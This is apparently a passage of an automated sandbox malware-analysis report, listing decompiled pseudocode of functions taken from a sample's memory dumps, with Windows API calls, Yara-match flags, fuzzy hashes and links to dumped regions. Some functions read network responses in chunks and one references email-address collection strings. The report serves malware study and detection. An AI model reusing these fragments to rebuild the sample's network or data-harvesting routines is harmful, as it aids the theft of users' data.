						_a12 = _t74;
						_t76 = E00477D59(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E00479FF1(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E00478B43(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x47d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x004745a9
0x004745b5
0x004745bb
0x004745c0
0x004745c4
0x00474721
0x00474725
0x00474725
0x004745ca
0x004745ce
0x004745d4
0x004745d5
0x004745e0
0x004745e6
0x004745eb
0x004745ee
0x00474608
0x00474614
0x0047461d
0x00474627
0x0047462c
0x0047462e
0x00474631
0x004746df
0x004746e5
0x004746f6
0x00474709
0x00474719
0x00000000
0x0047471e
0x0047463a
0x00474641
0x00474645
0x0047464b
0x0047464d
0x0047464f
0x00474651
0x00474653
0x0047465d
0x00474662
0x00474664
0x00474666
0x00474667
0x00474668
0x00474669
0x00474670
0x00474677
0x0047467a
0x0047467a
0x00474647
0x00474647
0x00474647
0x00474682
0x0047468a
0x00474693
0x00474698
0x00474698
0x0047469d
0x00000000
0x00000000
0x0047469f
0x004746a2
0x004746ac
0x00000000
0x00000000
0x004746ae
0x004746ae
0x004746b8
0x00474698
0x0047469d
0x00000000
0x00000000
0x00000000
0x0047469d
0x004746c2
0x004746c5
0x004746c8
0x004746cf
0x004746cf
0x004746dc
0x00000000
0x004746dc
0x004745d7
0x004745db
0x004745dc
0x004745de
0x00000000
0x00000000
0x00000000
0x004745de
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 00474653
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 00474669
memset.NTDLL ref: 00474709
memset.NTDLL ref: 00474719

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: 13539a94847690be5624cb71847389ddb205afaa579a8186f607f6622357a753
Instruction ID: ce1102c9d79a5b1563493790decec3307f777347b1acbae72d7c1630bbaf68b6
Opcode Fuzzy Hash: 13539a94847690be5624cb71847389ddb205afaa579a8186f607f6622357a753
Instruction Fuzzy Hash: FC41B571A00259ABCB10DFA9CC41BEE7774EF85714F10C52EF91EA7280EB789E548B84

Uniqueness

Uniqueness Score: -1.00%

Function 02349255, Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 02349302
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 02349318
memset.NTDLL ref: 023493B8
memset.NTDLL ref: 023493C8

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: 0b330c3c1666ba78d9fc3e7a7e96ccad30f298bb80b80ba85dcbda2ec6cce90a
Instruction ID: 42dc7f68da132925a587a71bfe395d65fb2b3047ebbade209342d3da30252e61
Opcode Fuzzy Hash: 0b330c3c1666ba78d9fc3e7a7e96ccad30f298bb80b80ba85dcbda2ec6cce90a
Instruction Fuzzy Hash: 7D418371A00259ABDB20DFA8CC84BEF77A9EF45714F0085A9E919AB184DF70B955CF80

Uniqueness

Uniqueness Score: -1.00%

Function 0047A957, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,766F11C0), ref: 0047A969

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

ResetEvent.KERNEL32(?), ref: 0047A9DD
GetLastError.KERNEL32 ref: 0047AA00
GetLastError.KERNEL32 ref: 0047AAAB

Part of subcall function 004770FF: HeapFree.KERNEL32(00000000,00000000,00471545), ref: 0047710B

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: 37237ae414172113370d77100d2f09e0b20d01dc06b0f2ed9993f2ad38c6dc2d
Instruction ID: 6913473e38dff5a742024d1f6817ac8c4e379030396010970e0c869fb68d46cd
Opcode Fuzzy Hash: 37237ae414172113370d77100d2f09e0b20d01dc06b0f2ed9993f2ad38c6dc2d
Instruction Fuzzy Hash: 0941C271900204BFD7309FA5CD88E9F7BBDEF85700F10892AF10AE11A1D7349995CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0234D0D2, Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 126COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000008), ref: 0234D212

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

Part of subcall function 0235CB90: lstrlenW.KERNEL32(?,00000000,?,?,0236182F,023411C0,?), ref: 0235CBA1
Part of subcall function 0235CB90: lstrlenW.KERNEL32(02363568,00000000,?,0236182F,023411C0,?), ref: 0235CBB8

Strings

1.0, xrefs: 0234D0FC
EmailAddressCollection/EmailAddress[%u]/Address, xrefs: 0234D195
A8000A, xrefs: 0234D101

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlen$AllocateErrorHeapLast
String ID: 1.0$A8000A$EmailAddressCollection/EmailAddress[%u]/Address
API String ID: 3415590935-2884085418
Opcode ID: a6420df0fbf8b1124d8cc9bfc6f5a96c7f8ef21adb72a241b164dc3215b57b36
Instruction ID: 5bd35015ed884422fade3a2c6aafbfb05d43e2df3121433052b5eea84eef252f
Opcode Fuzzy Hash: a6420df0fbf8b1124d8cc9bfc6f5a96c7f8ef21adb72a241b164dc3215b57b36
Instruction Fuzzy Hash: 23410D75A00219AFDB10DFA4C848EAEB7F9EF88704B148498FD05EB255DB71ED01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00476D04, Relevance: 6.1, APIs: 4, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00476D04(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				void* _t30;
				intOrPtr _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				void* _t54;
				long _t64;
				void* _t67;
				void* _t69;

				_t58 = __ecx;
				_t67 = __eax;
				if( *((intOrPtr*)(__eax + 0xc)) != 0) {
					L2:
					_t30 = _t67;
					_pop(_t68);
					_t69 = _t30;
					_t64 = 0;
					ResetEvent( *(_t69 + 0x1c));
					_push( &_v8);
					_push(4);
					_push( &_v20);
					_push( *((intOrPtr*)(_t69 + 0x18)));
					if( *0x47d140() != 0) {
						L9:
						if(_v8 == 0) {
							 *((intOrPtr*)(_t69 + 0x30)) = 0;
						} else {
							 *0x47d168(0, 1,  &_v12);
							if(0 != 0) {
								_t64 = 8;
							} else {
								_t38 = E004716F8(0x1000);
								_v16 = _t38;
								if(_t38 == 0) {
									_t64 = 8;
								} else {
									_push(0);
									_push(_v8);
									_push( &_v20);
									while(1) {
										_t41 = _v12;
										_t61 =  *_t41;
										 *((intOrPtr*)( *_t41 + 0x10))(_t41);
										ResetEvent( *(_t69 + 0x1c));
										_push( &_v8);
										_push(0x1000);
										_push(_v16);
										_push( *((intOrPtr*)(_t69 + 0x18)));
										if( *0x47d140() != 0) {
											goto L17;
										}
										_t64 = GetLastError();
										if(_t64 == 0x3e5) {
											_t64 = E004782BE( *(_t69 + 0x1c), _t61, 0xffffffff);
											if(_t64 == 0) {
												_t64 =  *((intOrPtr*)(_t69 + 0x28));
												if(_t64 == 0) {
													goto L17;
												}
											}
										}
										L19:
										E004770FF(_v16);
										if(_t64 == 0) {
											_t64 = E0047A3CD(_v12, _t69);
										}
										goto L22;
										L17:
										_t64 = 0;
										if(_v8 != 0) {
											_push(0);
											_push(_v8);
											_push(_v16);
											continue;
										}
										goto L19;
									}
								}
								L22:
								_t39 = _v12;
								 *((intOrPtr*)( *_t39 + 8))(_t39);
							}
						}
					} else {
						_t64 = GetLastError();
						if(_t64 != 0x3e5) {
							L8:
							if(_t64 == 0) {
								goto L9;
							}
						} else {
							_t64 = E004782BE( *(_t69 + 0x1c), _t58, 0xffffffff);
							if(_t64 == 0) {
								_t64 =  *((intOrPtr*)(_t69 + 0x28));
								goto L8;
							}
						}
					}
					return _t64;
				} else {
					_t54 = E00473D6B(__ecx, __eax);
					if(_t54 != 0) {
						return _t54;
					} else {
						goto L2;
					}
				}
			}

0x00476d04
0x00476d05
0x00476d0b
0x00476d16
0x00476d16
0x00476d18
0x00477987
0x0047798c
0x0047798e
0x00477993
0x00477994
0x00477999
0x0047799a
0x004779a5
0x004779d6
0x004779db
0x00477a9e
0x004779e1
0x004779e8
0x004779f0
0x00477a9b
0x004779f6
0x004779fb
0x00477a02
0x00477a05
0x00477a8d
0x00477a0b
0x00477a0b
0x00477a0d
0x00477a13
0x00477a14
0x00477a14
0x00477a17
0x00477a1a
0x00477a20
0x00477a25
0x00477a26
0x00477a2b
0x00477a2e
0x00477a39
0x00000000
0x00000000
0x00477a41
0x00477a49
0x00477a55
0x00477a59
0x00477a5b
0x00477a60
0x00000000
0x00000000
0x00477a60
0x00477a59
0x00477a72
0x00477a75
0x00477a7c
0x00477a87
0x00477a87
0x00000000
0x00477a62
0x00477a62
0x00477a67
0x00477a69
0x00477a6a
0x00477a6d
0x00000000
0x00477a6d
0x00000000
0x00477a67
0x00477a14
0x00477a8e
0x00477a8e
0x00477a94
0x00477a94
0x004779f0
0x004779a7
0x004779ad
0x004779b5
0x004779ce
0x004779d0
0x00000000
0x00000000
0x004779b7
0x004779c1
0x004779c5
0x004779cb
0x00000000
0x004779cb
0x004779c5
0x004779b5
0x00477aa7
0x00476d0d
0x00476d0d
0x00476d14
0x00476d1f
0x00000000
0x00000000
0x00000000
0x00476d14

APIs

ResetEvent.KERNEL32(?,00000000,?,00000102,?,?,00000000,00000000,76712B62), ref: 0047798E
GetLastError.KERNEL32(?,?,?,00000000,76712B62), ref: 004779A7
ResetEvent.KERNEL32(?), ref: 00477A20
GetLastError.KERNEL32 ref: 00477A3B

Part of subcall function 00473D6B: WaitForSingleObject.KERNEL32(?,00000000), ref: 00473D82
Part of subcall function 00473D6B: SetEvent.KERNEL32(?), ref: 00473D92

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$ObjectSingleWait
String ID:
API String ID: 1123145548-0
Opcode ID: 74d211dae40fb7734229cca80d7c2295c4c91f2262c7f88e3e66370d84d298f8
Instruction ID: 9c994f97a755aed36bf229aa754d37a3a4abcb95e1af7a3ea4f4d5be89fda8b7
Opcode Fuzzy Hash: 74d211dae40fb7734229cca80d7c2295c4c91f2262c7f88e3e66370d84d298f8
Instruction Fuzzy Hash: 9F411732604604AFEB21DBA5CC40EEF77B9FF84350F61856AE519E3290E738DE419B54

Uniqueness

Uniqueness Score: -1.00%

Function 0234468A, Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?,00000000,00000000,00000000,023413F9,?,00000000,00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000), ref: 0235E236
GetLastError.KERNEL32(?,?,?,023413F9,?,?), ref: 0235E24F
ResetEvent.KERNEL32(?,?,?,?,023413F9,?,?), ref: 0235E2C8
GetLastError.KERNEL32(?,?,?,023413F9,?,?), ref: 0235E2E3

Part of subcall function 02353D35: WaitForSingleObject.KERNEL32(?,00000000), ref: 02353D4C
Part of subcall function 02353D35: SetEvent.KERNEL32(?,?,?,?,023413F9,?,?), ref: 02353D5C

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Event$ErrorLastReset$ObjectSingleWait
String ID:
API String ID: 1123145548-0
Opcode ID: b239cac8797963a2eee167c971f9f9deaa76bb38dd2eb03679c01a8534685de8
Instruction ID: dc71ca122eeb13ccb29254b1f2d2a6b4738a3feeb6800888092604ad3da7d533
Opcode Fuzzy Hash: b239cac8797963a2eee167c971f9f9deaa76bb38dd2eb03679c01a8534685de8
Instruction Fuzzy Hash: 2241B732A00614EFCB319FA5CC44F9EB7BEAF88350F144569E959D7150E770EA41CB10

Uniqueness

Uniqueness Score: -1.00%

Function 0038E958, Relevance: 6.1, APIs: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0038E958(intOrPtr* __eax) {
				char _v260;
				char _v768;
				char _v772;
				intOrPtr* _v776;
				signed short* _v780;
				char _v784;
				signed int _v788;
				char _v792;
				intOrPtr* _v796;
				signed char _t43;
				intOrPtr* _t60;
				void* _t79;
				void* _t81;
				void* _t84;
				void* _t85;
				intOrPtr* _t92;
				void* _t96;
				char* _t97;
				void* _t98;

				_v776 = __eax;
				if(( *(_v776 + 1) & 0x00000020) == 0) {
					E0038E7A0(0x80070057);
				}
				_t43 =  *_v776;
				if((_t43 & 0x00000fff) == 0xc) {
					if((_t43 & 0x00000040) == 0) {
						_v780 =  *((intOrPtr*)(_v776 + 8));
					} else {
						_v780 =  *((intOrPtr*)( *((intOrPtr*)(_v776 + 8))));
					}
					_v788 =  *_v780 & 0x0000ffff;
					_t79 = _v788 - 1;
					if(_t79 >= 0) {
						_t85 = _t79 + 1;
						_t96 = 0;
						_t97 =  &_v772;
						do {
							_v796 = _t97;
							_push(_v796 + 4);
							_t22 = _t96 + 1; // 0x1
							_push(_v780);
							L0038D9B0();
							E0038E7A0(_v780);
							_push( &_v784);
							_t25 = _t96 + 1; // 0x1
							_push(_v780);
							L0038D9B8();
							E0038E7A0(_v780);
							 *_v796 = _v784 -  *((intOrPtr*)(_v796 + 4)) + 1;
							_t96 = _t96 + 1;
							_t97 = _t97 + 8;
							_t85 = _t85 - 1;
						} while (_t85 != 0);
					}
					_t81 = _v788 - 1;
					if(_t81 >= 0) {
						_t84 = _t81 + 1;
						_t60 =  &_v768;
						_t92 =  &_v260;
						do {
							 *_t92 =  *_t60;
							_t92 = _t92 + 4;
							_t60 = _t60 + 8;
							_t84 = _t84 - 1;
						} while (_t84 != 0);
						do {
							goto L12;
						} while (E0038E8FC(_t83, _t98) != 0);
						goto L15;
					}
					L12:
					_t83 = _v788 - 1;
					if(E0038E8CC(_v788 - 1, _t98) != 0) {
						_push( &_v792);
						_push( &_v260);
						_push(_v780);
						L0038D9C0();
						E0038E7A0(_v780);
						E0038EB50(_v792);
					}
				}
				L15:
				_push(_v776);
				L0038D54C();
				return E0038E7A0(_v776);
			}

0x0038e964
0x0038e974
0x0038e97b
0x0038e97b
0x0038e986
0x0038e994
0x0038e9a3
0x0038e9c1
0x0038e9a5
0x0038e9b0
0x0038e9b0
0x0038e9d0
0x0038e9dc
0x0038e9df
0x0038e9e1
0x0038e9e2
0x0038e9e4
0x0038e9ea
0x0038e9ec
0x0038e9fb
0x0038e9fc
0x0038ea06
0x0038ea07
0x0038ea0c
0x0038ea17
0x0038ea18
0x0038ea22
0x0038ea23
0x0038ea28
0x0038ea43
0x0038ea45
0x0038ea46
0x0038ea49
0x0038ea49
0x0038e9ea
0x0038ea52
0x0038ea55
0x0038ea57
0x0038ea58
0x0038ea5e
0x0038ea64
0x0038ea66
0x0038ea68
0x0038ea6b
0x0038ea6e
0x0038ea6e
0x0038ea71
0x00000000
0x00000000
0x00000000
0x0038ea71
0x0038ea71
0x0038ea78
0x0038ea83
0x0038ea8b
0x0038ea92
0x0038ea99
0x0038ea9a
0x0038ea9f
0x0038eaaa
0x0038eaaa
0x0038eab8
0x0038eabc
0x0038eac2
0x0038eac3
0x0038ead3

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0038EA07
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0038EA23
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0038EA9A
VariantClear.OLEAUT32(?), ref: 0038EAC3

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: 7463b96e7709db7e7e57e6038e100b286abb4ae14a2a075b432a194abf0ddec3
Instruction ID: c495ebe431aa6e21ff9f3bd637332a9249c5dd0a4821f4bcbf7aaf00ca0f7abf
Opcode Fuzzy Hash: 7463b96e7709db7e7e57e6038e100b286abb4ae14a2a075b432a194abf0ddec3
Instruction Fuzzy Hash: 77410A75A013299BCB62EB58CC91BC9B3BCAF49714F0145D5E649AB212DB34AF808F50

Uniqueness

Uniqueness Score: -1.00%

Function 023553F6, Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

_strupr.NTDLL ref: 0235543D
_strupr.NTDLL ref: 0235548F
_strupr.NTDLL ref: 023554CA
_strupr.NTDLL ref: 02355500

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: _strupr
String ID:
API String ID: 3408778250-0
Opcode ID: ff49f1d7e2422a58c50be33015da4519b2db8c3e317988a17e87826f17574b53
Instruction ID: 30d3b6fb22e1621dffb1d78b953fd2f8fce8d10983c78e36e8dd20cdb50ff416
Opcode Fuzzy Hash: ff49f1d7e2422a58c50be33015da4519b2db8c3e317988a17e87826f17574b53
Instruction Fuzzy Hash: 25414C729002199FDF30DF58D889AEE77ADEF04345F608426E929D2164DB38E548CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0047126F, Relevance: 6.1, APIs: 4, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 004712C6
SysAllocString.OLEAUT32(00471973), ref: 00471309
SysFreeString.OLEAUT32(00000000), ref: 0047131D
SysFreeString.OLEAUT32(00000000), ref: 0047132B

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 63446404bcacfbcf70bc047d16e176acb3721f682b8d671db1ddca0e73b3ab8e
Instruction ID: 42003f47d8d5d2ecac3f11bc0f18a8b4ab07e9968561adb68da602ccc167e161
Opcode Fuzzy Hash: 63446404bcacfbcf70bc047d16e176acb3721f682b8d671db1ddca0e73b3ab8e
Instruction Fuzzy Hash: 8D310C71900109EF9B05DF9DD8C48EE7BB9FF48354B10846EE90EA7220D7399A85CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0038C49C, Relevance: 6.1, APIs: 4, Instructions: 95
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0038C49C() {
				char _v152;
				short _v410;
				signed short _t14;
				signed int _t16;
				int _t18;
				void* _t20;
				void* _t23;
				int _t24;
				int _t26;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t37;
				int* _t39;
				short* _t41;
				void* _t49;

				 *0x3db744 = 0x409;
				 *0x3db748 = 9;
				 *0x3db74c = 1;
				_t14 = GetThreadLocale();
				if(_t14 != 0) {
					 *0x3db744 = _t14;
				}
				if(_t14 != 0) {
					 *0x3db748 = _t14 & 0x3ff;
					 *0x3db74c = (_t14 & 0x0000ffff) >> 0xa;
				}
				memcpy(0x3d911c, 0x38c5f0, 8 << 2);
				if( *0x3d90d4 != 2) {
					_t16 = GetSystemMetrics(0x4a);
					__eflags = _t16;
					 *0x3db751 = _t16 & 0xffffff00 | _t16 != 0x00000000;
					_t18 = GetSystemMetrics(0x2a);
					__eflags = _t18;
					_t31 = _t30 & 0xffffff00 | _t18 != 0x00000000;
					 *0x3db750 = _t31;
					__eflags = _t31;
					if(__eflags != 0) {
						return E0038C424(__eflags, _t49);
					}
				} else {
					_t20 = E0038C484();
					if(_t20 != 0) {
						 *0x3db751 = 0;
						 *0x3db750 = 0;
						return _t20;
					}
					E0038C424(__eflags, _t49);
					_t37 = 0x20;
					_t23 = E00382C34(0x3d911c, 0x20, 0x38c5f0);
					_t32 = _t30 & 0xffffff00 | __eflags != 0x00000000;
					 *0x3db750 = _t32;
					__eflags = _t32;
					if(_t32 != 0) {
						 *0x3db751 = 0;
						return _t23;
					}
					_t24 = 0x80;
					_t39 =  &_v152;
					do {
						 *_t39 = _t24;
						_t24 = _t24 + 1;
						_t39 =  &(_t39[0]);
						__eflags = _t24 - 0x100;
					} while (_t24 != 0x100);
					_t26 =  *0x3db744; // 0x409
					GetStringTypeA(_t26, 2,  &_v152, 0x80,  &_v410);
					_t18 = 0x80;
					_t41 =  &_v410;
					while(1) {
						__eflags =  *_t41 - 2;
						_t37 = _t37 & 0xffffff00 |  *_t41 == 0x00000002;
						 *0x3db751 = _t37;
						__eflags = _t37;
						if(_t37 != 0) {
							goto L17;
						}
						_t41 = _t41 + 2;
						_t18 = _t18 - 1;
						__eflags = _t18;
						if(_t18 != 0) {
							continue;
						} else {
							return _t18;
						}
						L18:
					}
				}
				L17:
				return _t18;
				goto L18;
			}

0x0038c4a8
0x0038c4b2
0x0038c4bc
0x0038c4c6
0x0038c4cd
0x0038c4cf
0x0038c4cf
0x0038c4d7
0x0038c4e3
0x0038c4ef
0x0038c4ef
0x0038c503
0x0038c50c
0x0038c5bb
0x0038c5c0
0x0038c5c5
0x0038c5cc
0x0038c5d1
0x0038c5d3
0x0038c5d6
0x0038c5dc
0x0038c5de
0x00000000
0x0038c5e6
0x0038c512
0x0038c512
0x0038c519
0x0038c51b
0x0038c522
0x00000000
0x0038c522
0x0038c52f
0x0038c53f
0x0038c541
0x0038c546
0x0038c549
0x0038c54f
0x0038c551
0x0038c553
0x00000000
0x0038c553
0x0038c55f
0x0038c564
0x0038c56a
0x0038c56a
0x0038c56c
0x0038c56d
0x0038c56e
0x0038c56e
0x0038c58a
0x0038c590
0x0038c595
0x0038c59a
0x0038c5a0
0x0038c5a0
0x0038c5a4
0x0038c5a7
0x0038c5ad
0x0038c5af
0x00000000
0x00000000
0x0038c5b1
0x0038c5b4
0x0038c5b4
0x0038c5b5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0038c5b5
0x0038c5a0
0x0038c5ed
0x0038c5ed
0x00000000

APIs

GetStringTypeA.KERNEL32(00000409,00000002,?,00000080,?), ref: 0038C590
GetThreadLocale.KERNEL32 ref: 0038C4C6

Part of subcall function 0038C424: GetCPInfo.KERNEL32(00000000,?), ref: 0038C43D

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocaleStringThreadType
String ID:
API String ID: 1505017576-0
Opcode ID: 981809a46ef00c5323e623ff9ea1b68c0c7bf2653d241780b63c56bfa507d07c
Instruction ID: 420db7691e19b96cf0b6cbf5c97de6948a5a6d9ea48afd559a877cc32bb9d507
Opcode Fuzzy Hash: 981809a46ef00c5323e623ff9ea1b68c0c7bf2653d241780b63c56bfa507d07c
Instruction Fuzzy Hash: 1231E021666385CBDB23F736BC027A677DCEF82341F1960D6E4848F692DB7499448731

Uniqueness

Uniqueness Score: -1.00%

Function 00473D6B, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00473D6B(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x47d128; // 0x47ad77
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E004716F8(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E004770FF(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E004782BE( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x00473d6b
0x00473d6b
0x00473d75
0x00473d7b
0x00473d7e
0x00473d82
0x00473d8a
0x00473d8d
0x00473da6
0x00473da9
0x00473dad
0x00473db1
0x00473db2
0x00473db7
0x00473dba
0x00473dc1
0x00473dc8
0x00473e1b
0x00473e24
0x00473e27
0x00473e62
0x00473e68
0x00000000
0x00000000
0x00000000
0x00473e27
0x00473dce
0x00000000
0x00473dd5
0x00473de3
0x00473de6
0x00473de9
0x00473df5
0x00473df9
0x00473e5b
0x00473dfb
0x00473dfe
0x00473e02
0x00473e03
0x00473e04
0x00473e06
0x00473e0d
0x00473e4b
0x00473e56
0x00473e0f
0x00473e12
0x00473e16
0x00473e16
0x00473e0d
0x00000000
0x00473df9
0x00473dce
0x00473d92
0x00473d98
0x00473d9d
0x00473da0
0x00000000
0x00000000
0x00000000
0x00473e30
0x00473e38
0x00473e3f
0x00473e3f
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 00473D82
SetEvent.KERNEL32(?), ref: 00473D92
GetLastError.KERNEL32 ref: 00473E1B

Part of subcall function 004782BE: WaitForMultipleObjects.KERNEL32(00000002,0047AA1E,00000000,0047AA1E), ref: 004782D9

Part of subcall function 004770FF: HeapFree.KERNEL32(00000000,00000000,00471545), ref: 0047710B

GetLastError.KERNEL32(00000000), ref: 00473E50

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
